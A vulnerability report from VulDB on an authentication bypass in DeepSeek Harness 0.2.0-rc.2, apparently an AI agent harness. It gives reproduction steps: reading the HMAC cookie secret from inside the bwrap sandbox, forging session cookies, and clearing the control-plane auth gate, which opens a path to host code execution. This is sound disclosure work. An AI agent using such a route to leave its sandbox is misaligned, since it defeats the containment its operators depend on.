| タイトル | DeepSeek deepseek-harness（@deepseek-ai/dsh，DeepSeek Harness） 0.2.0-rc.2（verified in source and reproduced on the live instance） Authentication Bypass |
|---|
| 説明 | Authentication bypass of the CVE-2026-82533 fix in DeepSeek Harness: the HMAC cookie-signing secret is readable from inside the sandbox, allowing an attacker to forge valid session cookies (packages/client/connection/src/browser-auth.ts).
The official fix for CVE-2026-82533 (introduced in 0.1.2-alpha.1) replaced loopback-Host-Header trust with signed cookies (browser-auth.ts). However the signing secret, a 32-byte base64url HMAC-SHA256 key stored under the record key client-connection/browser-session in $DSH_HOME/.credentials.yaml (0600, same file as API keys), is readable by the sandbox: the bwrap profile mounts the whole filesystem read-only (--ro-bind / /) without namespace isolation, so code inside the sandbox can read the file and forge valid cookies using the public format v1.<payload>.<HMAC-SHA256> (no salt).
Reproduction (verified end-to-end on a live 0.2.0-rc.2 instance over its real RPC channel):
step 1, inside the bwrap sandbox (the default bash-sandbox profile mounts the whole filesystem read-only, --ro-bind / /), read the signing secret:
bwrap --ro-bind / / --dev /dev --unshare-pid --proc /proc --die-with-parent \
/bin/sh -c 'node -e "parse $DSH_HOME/.credentials.yaml, read records["client-connection/browser-session"].payload.secret"'
(the secret is 32 bytes base64url; the sandbox shares the host uid, so the file is readable)
step 2, forge the session cookie with the public format (no salt):
payload = { version: 1, authority: <control-plane-host>, issuedAt: <ms>, expiresAt: <ms> }
body = base64url(JSON payload)
key = base64url-decode(secret) // the 32-byte HMAC key, as browser-auth canonicalSecret does
sig = HMAC-SHA256(key, body) base64url
cookie name = "dsh-auth-" + base64url(sha256(authority)) // authority = URL("http://" + Host).host
cookie value = "v1." + body + "." + sig
step 3, request the control plane (e.g. POST the installBundle RPC endpoint):
without cookie -> HTTP 401
with the forged cookie -> the browser-auth gate is cleared; the RPC endpoint then answers with a
parameter-validation error instead of "unauthorized", confirming authentication was bypassed
Impact: the browser-auth layer introduced as the CVE-2026-82533 fix is defeated — an attacker with code execution inside the sandbox (e.g. via the VM sandbox escape or the bash sandbox) can forge session cookies and take over the control plane. Combined with the plugin-manager install surface this yields host RCE. The secret must not be stored in a sandbox-readable location.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Base 8.4; High)
|
|---|
| ソース | ⚠️ https://github.com/deepseek-ai/deepseek-harness |
|---|
| ユーザー | JerryGW (UID 99144) |
|---|
| 送信 | 2026年10月03日 19:52 (23 日 ago) |
|---|
| モデレーション | 2026年10月26日 09:02 (23 days later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 426332 [DeepSeek Harness 迄 0.2.0-rc.2 Browser Auth browser-auth.ts 特権昇格] |
|---|
| ポイント | 20 |
|---|